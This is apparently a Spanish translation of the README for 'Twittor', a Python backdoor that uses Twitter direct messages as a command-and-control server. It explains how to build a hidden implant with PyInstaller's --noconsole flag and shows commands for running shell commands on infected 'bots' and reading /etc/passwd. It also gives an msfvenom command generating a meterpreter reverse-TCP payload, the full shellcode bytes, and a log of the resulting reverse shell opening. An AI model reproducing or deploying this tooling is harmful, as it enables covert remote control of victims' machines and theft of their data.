
Un backdoor completamente funcional que utiliza Twitter como servidor C&C
Un backdoor sigiloso basado en Python que utiliza Twitter (Mensajes Directos) como servidor de comando y control. Este proyecto ha sido inspirado por Gcat que hace lo mismo pero usando una cuenta de Gmail.
Para que esto funcione necesitas:
Instala las dependencias:
$ pip install -r requirements.txt
Este repositorio contiene dos archivos:
twittor.py que es el clienteimplant.py el backdoor real a desplegarEn ambos archivos, edita la parte del token de acceso y añade los que generaste previamente:
CONSUMER_TOKEN = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'
CONSUMER_SECRET = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'
ACCESS_TOKEN = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'
ACCESS_TOKEN_SECRET = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'
USERNAME = 'XXXXXXXXXXXXXXXXXXXXXXXX'
Probablemente querrás compilar implant.py en un ejecutable usando Pyinstaller.
Para eliminar la consola al compilar con Pyinstaller, las banderas --noconsole --onefile ayudarán. Solo digo.
Para ejecutar el cliente, lanza el script.
$ python twittor.py
Luego entrarás en un shell 'interactivo' que ofrece algunos comandos que son:
$ help
refresh - refrescar C&C control
list_bots - listar bots activos
list_commands - listar comandos ejecutados
!retrieve <jobid> - recuperar comando jobid
!cmd <DIRECCIÓN MAC> comando - ejecutar el comando en el bot
!shellcode <DIRECCIÓN MAC> shellcode - cargar y ejecutar shellcode en memoria (solo Windows)
help - mostrar esta ayuda
exit - salir del cliente
$
$ list_bots
B7:76:1F:0B:50:B7: Linux-x.x.x-generic-x86_64-con-Ubuntu-14.04-precise
$
La salida es la dirección MAC que se usa para identificar de forma única el sistema pero también te da información del SO en el que se está ejecutando el implante. En ese caso, una máquina Linux.
$ !cmd B7:76:1F:0B:50:B7 cat /etc/passwd
[+] Comando enviado "cat /etc/passwd" con jobid: UMW07r2
$
Aquí le estamos diciendo a B7:76:1F:0B:50:B7 que ejecute cat /etc/passwd, el script luego muestra el jobid que podemos usar para recuperar la salida de ese comando.
$ !retrieve UMW07r2
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
(...)
El comando a usar en ese caso es !retrieve seguido del jobid del comando.
Para recuperar nuevos bots/salidas de comandos pero también forzar al cliente a refrescar los resultados, usa el comando refresh.
$ refresh
[+] Enviando comando para recuperar bots vivos
[+] Durmiendo 10 segundos para esperar a los bots
$
Esto enviará una solicitud PING y esperará 10 segundos a que respondan.
Luego se analizarán los mensajes directos - La lista de bots se actualizará pero también la lista de comandos, incluyendo nuevas salidas de comandos.
Como dije antes, los comandos (anteriores) se recuperarán de mensajes directos más antiguos (límite de 200) y puedes recuperarlos/verlos usando el comando list_commands
$ list_commands
8WNzapM: 'uname -a ' en 2C:4C:84:8C:D3:B1
VBQpojP: 'cat /etc/passwd' en 2C:4C:84:8C:D3:B1
9KaVJf6: 'PING' en 2C:4C:84:8C:D3:B1
aCu8jG9: 'ls -al' en 2C:4C:84:8C:D3:B1
8LRtdvh: 'PING' en 2C:4C:84:8C:D3:B1
$
Esta opción puede ser útil para obtener una sesión de meterpreter y este artículo se vuelve realmente útil.
Genera tu shellcode de meterpreter, como:
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=3615 -f python
(...)
Payload size: 299 bytes
buf = ""
buf += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"
buf += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"
buf += "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"
buf += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c"
buf += "\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01"
buf += "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31"
buf += "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d"
buf += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66"
buf += "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"
buf += "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f"
buf += "\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68"
buf += "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8"
buf += "\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00"
buf += "\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f"
buf += "\xdf\xe0\xff\xd5\x97\x6a\x05\x68\x0a\x00\x00\x01\x68"
buf += "\x02\x00\x0e\x1f\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5"
buf += "\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec"
buf += "\xe8\x3f\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02"
buf += "\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\xe9\x8b\x36\x6a"
buf += "\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53"
buf += "\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9"
buf += "\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\xc3\x01\xc3\x29\xc6"
buf += "\x75\xe9\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5"
Extrae el shellcode y envíalo al bot especificado usando el comando !shellcode!
$ !shellcode 11:22:33:44:55 \xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b (...)
[+] Shellcode enviado con jobid: xdr7mtN
$
¡Y voilà!
msf exploit(handler) > exploit
[*] Started reverse handler on 10.0.0.1:3615
[*] Starting the payload handler...
[*] Sending stage (884270 bytes) to 10.0.0.99
[*] Meterpreter session 1 opened (10.0.0.1:3615 -> 10.0.0.99:49254) at 2015-09-08 10:19:04 -0400
meterpreter > getuid
Server username: WIN-XXXXXXXXX\PaulSec
Abre una cerveza y disfruta de tu shell meterpreter reverso.
El proyecto es completamente de código abierto y publicado bajo licencia MIT. Principalmente quería crear un PoC después de que Twitter decidiera eliminar el límite de 140 caracteres para los Mensajes Directos. Faltan algunas cosas por añadir, como el cifrado (añadir AES por encima). Los "Mensajes" usan una estructura de datos de diccionario y todo el comando solo está codificado en base64. Haz un fork del proyecto, contribuye, envía pull requests y diviértete.
Si encuentras un error, abre un issue en Github y/o contáctame en Twitter.
De nuevo, siéntete libre de revisar el increíble proyecto Gcat de byt3bl33d3r que me inspiró mucho.